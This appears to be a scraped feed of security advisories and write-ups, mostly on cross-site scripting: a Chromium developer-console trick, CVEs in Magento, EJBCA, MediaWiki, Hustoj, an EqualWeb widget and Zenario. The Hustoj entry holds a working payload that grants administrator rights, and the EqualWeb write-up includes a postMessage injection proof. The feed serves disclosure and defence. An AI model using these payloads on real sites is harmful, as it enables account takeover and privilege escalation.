Red Hat Security Advisory 2022-8506-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addressed include code execution, cross site scripting, denial of service, remote SQL injection, and traversal vulnerabilities.

Red Hat Security Advisory 2022-8506-01

A case study on the complexity of browser security

A case study on the complexity of browser security

  

Malicious actors can stage cross-site scripting (XSS) attacks across the subdomains of a website if they can trick users of Chromium browsers into entering a simple JavaScript command in the developer console.

This is according to the findings of security researcher Michał Bentkowski who presented his findings in a blog post published yesterday (November 16) titled Google Roulette.

While the bug is hard to exploit and Google has decided not to patch it, it is an interesting case study on the complexities of browser security.

**Same-origin policy, site isolation**

Chromium browsers have several safeguards to prevent XSS attacks. The Same-Origin policy feature prevents scripts in one browser tab from accessing cookies and data from another domain.

The Site Isolation feature, on the other hand, gives a separate process to each domain to prevent different websites from accessing each other’s memory space in the browser.

However, it is worth noting that Same-Origin and Site Isolation do not apply to subdomains.

Therefore, two browser tabs that are on, say, https://workspace.google.com and https://developer.google.com will run on the same process and are considered to be of the same origin (google.com).

**Developer console scripts**

The browser’s protection mechanisms apply not only to on-page scripts but also to scripts running in the browser’s developer console. However, the developer console has access to certain extra functions that are not available to on-page scripts.

One of these functions is , which sets breakpoints on specific events, such as when a function is called.

Two things are interesting about . First, it has an optional argument that allows you to replace the breakpoint functionality with a custom JavaScript code. And second, when you use the developer console to define a event on a webpage, it persists across page refreshes and even carries to other subdomains of the same origin in the same tab.

DON’T MISS CSRF in Plesk API enabled server takeover

How does lead to XSS? First, Bentkowski set up a page that contained two malicious functions.

The first one is the XSS payload, which iterates across the subdomains of the current origin and runs a proof-of-concept script (in this case an popup).

The second one is a getter function called that defines a event for the function (which happens many times during a page load) and reloads the page.

Since needs to be explicitly called from the developer console, the page displays a message that prompts the user to call from the developer console. After that, the XSS cycle is triggered and goes through any number of subdomains defined in the payload function.

A video containing a proof-of-concept can be found here.

**Impact and fix**

“I see it more as an interesting technical bug than something exploitable in the real world,” Bentkowski told The Daily Swig. “In my opinion, the user interaction required by this attack makes it not really feasible for attackers.”

There are, however, two scenarios where this bug can become concerning, according to Bentkowski.

First are websites where users can create their own subdomains. In this case, a user can create a malicious page and trick visitors into triggering the XSS function on their own subdomain.

Read more of the latest browser security news

A second scenario is when there is an XSS vulnerability on one subdomain and the attacker wants to escalate it to others through the developer console.

Bentkowski reported the bug in 2020 and Google has apparently decided not to fix it. “The issue isn’t currently assigned to anyone so it doesn’t look like we can expect the patch soon,” Bentkowski said.

However, Google agreed to allow Bentkowski to make his findings public, telling him that since the bug is no longer exploitable via Chrome Extensions, it is no longer a security issue.

“I still think that there might be some ways to escalate it that I failed to discover, and maybe you, my dear readers, will have some better ideas,” Bentkowski wrote on his blog.

YOU MIGHT ALSO LIKE Mastodon users vulnerable to password-stealing attacks

Google Roulette: Developer console trick can trigger XSS in Chromium browsers

The Preview functionality in the Amasty Blog Pro 2.10.3 plugin for Magento 2 uses eval unsafely. This allows attackers to perform Cross-site Scripting attacks on admin panel users by manipulating the generated preview application response.

**CVE-2022-36432**

Cross-site Scripting (XSS) in Preview functionality in Amasty Blog Pro for Magento 2

**Description**

The Preview functionality in the Amasty Blog Pro 2.10.3 plugin for Magento 2 uses eval unsafely. This allows attackers to perform Cross-site Scripting attacks on admin panel users by manipulating the generated preview application response.

The vulnerability is present in blog/view/base/web/js/adminhtml/preview.js file.

In references you can find a similar issue in Magento 2 in which they fixed the problem.

**Affected versions**

< 2.10.5

**Advisory**

Update Amasty Blog Pro for Magento 2 to 2.10.5 or newer.

**References**

*   magento/magento2#377
*   https://amasty.com/blog-pro-for-magento-2.html

CVE-2022-36432: GitHub - afine-com/CVE-2022-36432: Cross-site Scripting (XSS) in Preview functionality in Amasty Blog Pro for Magento 2

A stored XSS vulnerability was discovered in adminweb/ra/viewendentity.jsp in PrimeKey EJBCA through 7.9.0.2. A low-privilege user can store JavaScript in order to exploit a higher-privilege user.

Loading

×Sorry to interrupt

CSS Error

Refresh

CVE-2022-39834: Keyfactor Support

Keyfactor EJBCA before 7.10.0 allows XSS.

CVE-2022-42954: Keyfactor Support

The ScratchLogin extension through 1.1 for MediaWiki does not escape verification failure messages, which allows users with administrator privileges to perform cross-site scripting (XSS).

<?php use Wikimedia\\Timestamp\\ConvertibleTimestamp; define('USER\_API\_LINK', 'https://api.scratch.mit.edu/users/%s/'); function getAuthenticator() { global $wgScratchLoginAuthenticator; switch ($wgScratchLoginAuthenticator) { case 'cloud': { return ScratchLogin\\Authenticator\\CloudVariableAuthenticator::class; } default: { return ScratchLogin\\Authenticator\\ProjectCommentAuthenticator::class; } } } function getScratchUserRegisteredAt($username) { $apiText = file\_get\_contents(sprintf( USER\_API\_LINK, $username )); //fail loudly if the API call fails if (!isset($http\_response\_header)) { throw new Exception('API call failed'); } //this shouldn't happen, but since this is a security-sensitive component we need to be ultra-defensive if (!strstr($http\_response\_header\[0\], '200 OK')) { throw new Exception('User does not exist'); } $info = json\_decode($apiText, true); $registeredAt = $info\['history'\]\['joined'\]; return new ConvertibleTimestamp($registeredAt); } class ScratchSpecialPage extends SpecialPage { function execute($par) { $request = $this\->getRequest(); $out = $this\->getOutput(); $out\->disallowUserJs(); $this\->setHeaders(); $this\->checkReadOnly(); if ($par == 'reset') { $this\->resetCode( $out, $request ); } else if ($request\->wasPosted()) { $this\->onPost( $out, $request ); } else { $this\->showForm( $out, $request ); } } // show an error followed by the login form again function showError($error, $out, $request) { $out\->addHTML(Html::rawElement('p', \[ 'class' => 'error' \], $error)); $this\->showForm($out, $request); } // $instructions: message key giving instructions for this page // $action: message key for button value function verifForm($out, $request, $instructions, $action) { $authenticator = getAuthenticator(); // this all takes place in a form $out\->addHTML(Html::openElement( 'form', \[ 'method' => 'POST' \] )); $session = $request\->getSession(); $out\->addHTML($authenticator::getInstructions( $instructions, $session, $this )->inContentLanguage()->parseAsBlock()); // show the submit button $out\->addHTML(Html::rawElement( 'input', \[ 'type' => 'submit', 'id' => 'mw-scratchlogin-form-submit', 'value' => wfMessage($action)->inContentLanguage()->plain() \] )); //close the form $out\->addHTML(Html::closeElement( 'form' )); } function verifSucceeded($out, $request) { $session = $request\->getSession(); $authenticator = getAuthenticator(); $username = $authenticator::getAssociatedUsername($session, $this); if ($username == null) { $this\->showError( $authenticator::getMissingMsg($this) ->inContentLanguage()->plain(), $out, $request ); return null; } // now attempt to retrieve the MediaWiki user // associated with whoever commented the verification code $user = User::newFromName($username); // ...if that user does not exist, then show an error // that this account does not exist on the wiki if ($user\->getId() == 0) { $this\->showError( wfMessage('scratchlogin-unregistered', $username) ->inContentLanguage()->parse(), $out, $request ); return null; } try { $wikiUserTimestamp = new ConvertibleTimestamp($user\->getRegistration()); $scratchUserTimestamp = getScratchUserRegisteredAt($username); $diff = $scratchUserTimestamp\->diff($wikiUserTimestamp); if ($diff\->invert) { // Scratch user registered after wiki user. // To prevent disaster, make it error. $this\->showError( wfMessage('scratchlogin-account-age-error', $username) ->inContentLanguage()->parse(), $out, $request ); return null; } } catch (Exception $e) { //in the event of any failure, do NOT allow the login attempt to continue $this\->showError(wfMessage('scratchlogin-api-failure')->inContentLanguage()->parse(), $out, $request); return null; } // clear the verification code in the session so that they have to // use a different code to login as a different user $authenticator::clearAuthCode($session); return $user; } // reset the code associated with the current user's session function doCodeReset($out, $request, $returnto) { $session = $request\->getSession(); $authenticator = getAuthenticator(); $authenticator::clearAuthCode($session); $out\->addWikiMsg('scratchlogin-code-reset', $returnto); } }

CVE-2022-42985: mediawiki-scratch-login/ScratchLogin.common.php at 4d2c1229b558b9cd685961274f20b621d114f4db · InternationalScratchWiki/mediawiki-scratch-login

Hustoj 22.09.22 has a XSS Vulnerability in /admin/problem_judge.php.

**描述问题**  
XSS Vulnerability exists in  

echo $row\['input\_text'\]."\\n";

  
**如何复现**  
Steps to reproduce the behavior:

1.  POST text with xss script to submit.php  
    for example:

id=-1000&language=1&source=asdasdasdasdasd&input\_text=<script src\="/template/bs3/jquery.min.js"\></script\><script\>$.get("/admin/privilege\_add.php").done(function(data){
    re\=/name="postkey" value="(\[\\w\]%2B?)"/g;
    $.post("/admin/privilege\_add.php",{"postkey":re.exec(data)\[1\],"user\_id":"username","rightstr":"administrator","valuestr":"true"
                                  ,"do":"do","do":"do","csrf":"tV8EG8W5AsFY0JCKoBStoHC2v30NrDe5"}).done(function (data) {console.log(data)})
})
</script\>

Then you can get a sid.  

2.  Send malicious links to administrators  
    example:

<body\>
<script type\="text/javascript"\>
    function post(URL, PARAMS) {
    var temp \= document.createElement("form");
    temp.action \= URL;
    temp.method \= "post";
    temp.style.display \= "none";
    for (var x in PARAMS) {
        var opt \= document.createElement("textarea");
        opt.name \= x;
        opt.value \= PARAMS\[x\];
        temp.appendChild(opt);
    }
    document.body.appendChild(temp);
    temp.submit();
    return temp;
}
post("http://192.168.0.25:8080/admin/problem\_judge.php",{"sid":"1018","pid":"1000","result":"4","time":"500","memory":"1024","sim":"100","simid":"0","filename":"1000%2Ftest.in","gettestdatalist":"do","getcustominput":"1"})

</script\>
</body\>

CVE-2022-42187: XSS Vulnerability in /admin/problem_judge.php · Issue #866 · zhblue/hustoj

EqualWeb Accessibility Widget 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.10, 3.0.0, 3.0.1, 3.0.2, 4.0.0, and 4.0.1 allows DOM XSS due to improper validation of message events to accessibility.js.

The Americans with Disabilities Act (ADA) includes requirements on companies falling within its scope to ensure their websites are accessible to individuals with disabilities. These requirements have created a strong incentive for companies to use third-party solutions in the form of JavaScript libraries to make their websites accessible. However, using third-party solutions comes with its own risks.

Recently, Imperva’s vulnerability research team uncovered a DOM XSS vulnerability in certain versions of a popular accessibility widget by EqualWeb. We would like to emphasize that we did not find this vulnerability in the latest version of EqualWeb’s accessibility widget and only found the vulnerability in older versions that are specified at the end of this post.

**Successful exploitation of this vulnerability could allow malicious actors to impersonate a user and take over a user’s account, perform any action on behalf of the user and or steal sensitive information such as cookies and session tokens.**

According to the EqualWeb website, the EqualWeb accessibility widget is being used by many popular companies and websites such as IronSource, Fiverr, Gett, Bosh, Playtika, Zara, YOT PO and AVIS, as well as financial institutions and public sector and nonprofit entities.

In this post, we will go over the vulnerability, explain how it was detected and what you can do to manage your third-party risks better.

****What is DOM-based XSS?****

DOM-based XSS vulnerabilities occur when JavaScript uses data from an attacker-controllable source, such as the URL or untrusted message event, and passes it to a method or an API that supports dynamic code execution, such as innerHTML or eval.

DOM-based XSS vulnerabilities are notoriously hard to detect and prevent because they involve the manipulation of the Document Object Model (DOM) rather than the source code of the application. The attacker’s input may not be reflected in the source code, and may only be triggered under certain externally-controllable circumstances, such as post-message events.

****Identifying the threat****

One of the most common recommendations regarding XSS prevention is to sanitize user input. With that said, some user inputs are harder to spot, which makes them the perfect place to hunt for vulnerabilities.

One of the most overlooked input sources is the browser post-message API.

The post-message API allows for cross-origin communication. This means that a malicious script on one domain can send messages to a script on another domain. These messages can be used to bypass restrictions that the browser has in place to prevent cross-origin communication.

If a website does not properly validate and sanitize messages that are received through the post-message API, it is sometimes possible for an attacker to inject malicious code into the website. This code can then be executed by the website, leading to a range of potential consequences, such as the theft of sensitive information or the execution of unwanted actions on behalf of the user.

****Understanding the post-message API****

To identify whether a website can be exploited using the post-message API, we need to understand how it works. The post-message API uses the browser’s “message” event. This event is fired when a message is received by a window or a frame. The message event has two properties that are relevant to us:

– **data**: The message that was sent

– **origin**: The origin of the message

To receive messages, the website needs to register an event listener for the message event, which looks something like this:

window.addEventListener('message', function(event) {
document.body.innerHTML = event.data;
});

Once the site registered the event listener, it will start receiving messages. These messages can be sent by other scripts on the same domain or by scripts on other domains. If we want to send a message, we can use the postMessage function. This function takes two arguments:

– **data**: The message that will be sent

– **targetOrigin**: The origin of the window or frame that will receive the message

The following code demonstrates how to send a message:

var target = window.open(“https://example.com”);
target.postMessage(“Hello”, “https://example.com”);

This message will result in the word “Hello” being written to the screen.

However, as you probably noticed, our event listener has 2 main security issues.

1.  We do not validate the message origin, which means any website can send messages to our event listener which could lead to some unintended consequences.
2.  We write unsanitized input to the website DOM by setting the document.body.innerHTML property.

****Exploring “message” event handlers on any site****

A quick way to find “message” event listeners on any website is to use the “getEventListeners” method from the devtools console; this method returns event listeners of the given object.

We can simply give it the window object, and look for “message” event listeners like so:

getEventListeners(window)
.message.map(e => e.listener)
.map(console.log);

The code above will go over each event listener and print it to the console, you can now click on each listener from the console to jump to the method definition.

****The vulnerability****

The EqualWeb widget registered a few “message” event listeners, none of which checks if a message was sent from an allowed source. This means any cross-origin site can send messages to those listeners.

While reading each message event listener, the following code was discovered.

window.addEventListener("message", function(i) {
       try {
           const n = e.a11y.GetMsgData(i.data);
           let s = document.querySelectorAll(\`iframe\[src\]:not(\[src^="javascript"\])\`);
           e.isIframe && !s || !n || "isNagichOnTop" !== n.INDmessage || t(s, "isNagichOnTop"),
           "getIndModes" === n.INDmessage && t(s, e.mode),
           (e.a11y.validMethods\[n.optName\] &&
               e.a11y.validMethods\[n.optName\] == n.method ||
               "INDactivate" === n.INDmessage ||
               "INDactivate" === n.command) && e.LoadData((function() {
                   var t = e\[n.method\];
                   "function" == typeof t && t(n.data ? n : n.optName)
               }
           ))
       } catch (e) {
           this.INDLog(e, "err")
       }
}

As you can see we have a lot of elaborate checks before reaching what seems to be an interesting piece of code. We started by checking if exploitation is even possible under the best-case scenario. So for now, we are ignoring all the other checks and just focusing on the highlighted section.

The variable “n” holds our message payload, and as you can see, it is used to access a property of the variable “e”, the code then checks that the property is a function and execute it with “n” or “n.optName” as the first argument which is also under our control.

This looks promising, but it all comes down to what methods are there in the “e” variable. Let’s take a look, we wrote this short script to only show the methods in the “e” variable that receives at least one argument.

for (let key in e){
   if (typeof e\[key\] !== "function"){ continue; }
   if (e\[key\].toString().indexOf('function()') === 0){ continue; }
   console.log(key,e\[key\]);
}

After doing that we had 83 methods to review, after going through about 20 we found the one. The _getBlock_ method.

e.getBlock = function(e) {
   let t = $IND(e).parents(".INDblock");
   return $IND(t\[t.length - 1\]).data("INDblock")
}

This method takes one argument “e” and passes it to $IND which turns out to be  jQuery, which is very helpful since jQuery selector evaluates HTML tags automatically leading to XSS.

Now that we know exploitation is possible, let’s check if we can reach the vulnerable code.

(e.a11y.validMethods\[n.optName\] &&
               e.a11y.validMethods\[n.optName\] == n.method ||
               "INDactivate" === n.INDmessage ||
               "INDactivate" === n.command)

The conditions above have to evaluate to true for the vulnerable code to be reached. At first glance it seems n.optName is checked against an allow list, optName is required for our exploit to work. However, when looking closer, the condition itself seems to ignore all of that  if _n.INDmessage_ or _n.command_ is equal to _“INDactivate”_.

Let’s test it. We pasted the following code in the devtools console, where a vulnerable version of the EqualWeb Javascript code is running.

postMessage(JSON.stringify({"command": "INDactivate", "method": "getBlock", "optName": "<img src='ftp:' onerror=alert(1) >"}))

A few seconds later an alert message appears. To make sure the attack is feasible, w We then confirm messages can be sent from a different domain.

****Third-party risk management****

As reflected above, companies should be aware of the risks associated with using third-party solutions.

Third-party risk management is the process of identifying, assessing, and mitigating risks associated with using third-party products and services.

As part of third-party risk management, companies should:  
– Identify all the third-party products and services they are using  
– Assess the risks associated with each third-party product and service  
– Mitigate the risks by implementing security controls  
– Continuously monitor the third-party products and services for risks

**Imperva’s Client-Side Protection** can help companies mitigate the risks associated with using third-party products and services by continuously monitoring all JavaScript services and only allowing pre-approved services to execute. This means that any new JavaScript services or changes are blocked until authorized, and if any JavaScript code is poisoned/exploited and attempts to send data elsewhere, your security team will be the first to know.

****Just-in-time widgets****

Almost all third-party libraries/widgets execute by default for all visitors; in some cases, this is necessary, for example when collecting analytics. However, it’s not clear why widgets for things like accessibility or chat have to be loaded for all visitors.

In general, most of your visitors would not use the chat/accessibility widgets while using the site. With a few lines of code, any developer can make it so that only once the user interacts with the floating chat/accessibility widget the library code will be executed.

It may be a bit slower for the site visitors who choose to use the widget, but from a security point of view, your site attack surface is greatly reduced. If we take the EqualWeb case as an example, sites that utilize this approach would render this attack almost useless since users would have to use the widget before the vulnerability could be exploited.

**We recommend that when possible, providers should implement this kind of architecture by default.**

****IOCs****

**Vulnerable EqualWeb Accessibility widget versions:**

*   2.0.0
*   2.0.1
*   2.0.2
*   2.0.3
*   2.0.4
*   2.1.10
*   3.0.0
*   3.0.1
*   3.0.2
*   4.0.0
*   4.0.1

Please note, while it is possible other versions of the widget include the DOM XSS vulnerability, those versions listed above were the only ones we confirmed to be vulnerable. Versions above 4.0.1 and the latest version seem to be unaffected.

**Hostnames:**  

*   aacdn.nagich.com
*   js.nagich.co.il
*   cdn.equalweb.com
*   cdn.uirix.com

**Try Imperva for Free**

Protect your business for 30 days on Imperva.

Start Now

CVE-2022-42960: New Vulnerability in Popular Widget Shows Risks of Third-Party Code | Imperva

Zenario CMS 9.3.57186 is vulnerable to Cross Site Scripting (XSS) via the Nest library module.

**Cross-site Scripting in Zenario**

Moderate severity GitHub Reviewed Published Nov 16, 2022 • Updated Nov 21, 2022

GHSA-r9xx-4cmv-856x: Cross-site Scripting in Zenario

Zenario CMS 9.3.57186 is is vulnerable to Cross Site Scripting (XSS) via profile.

Tag

#xss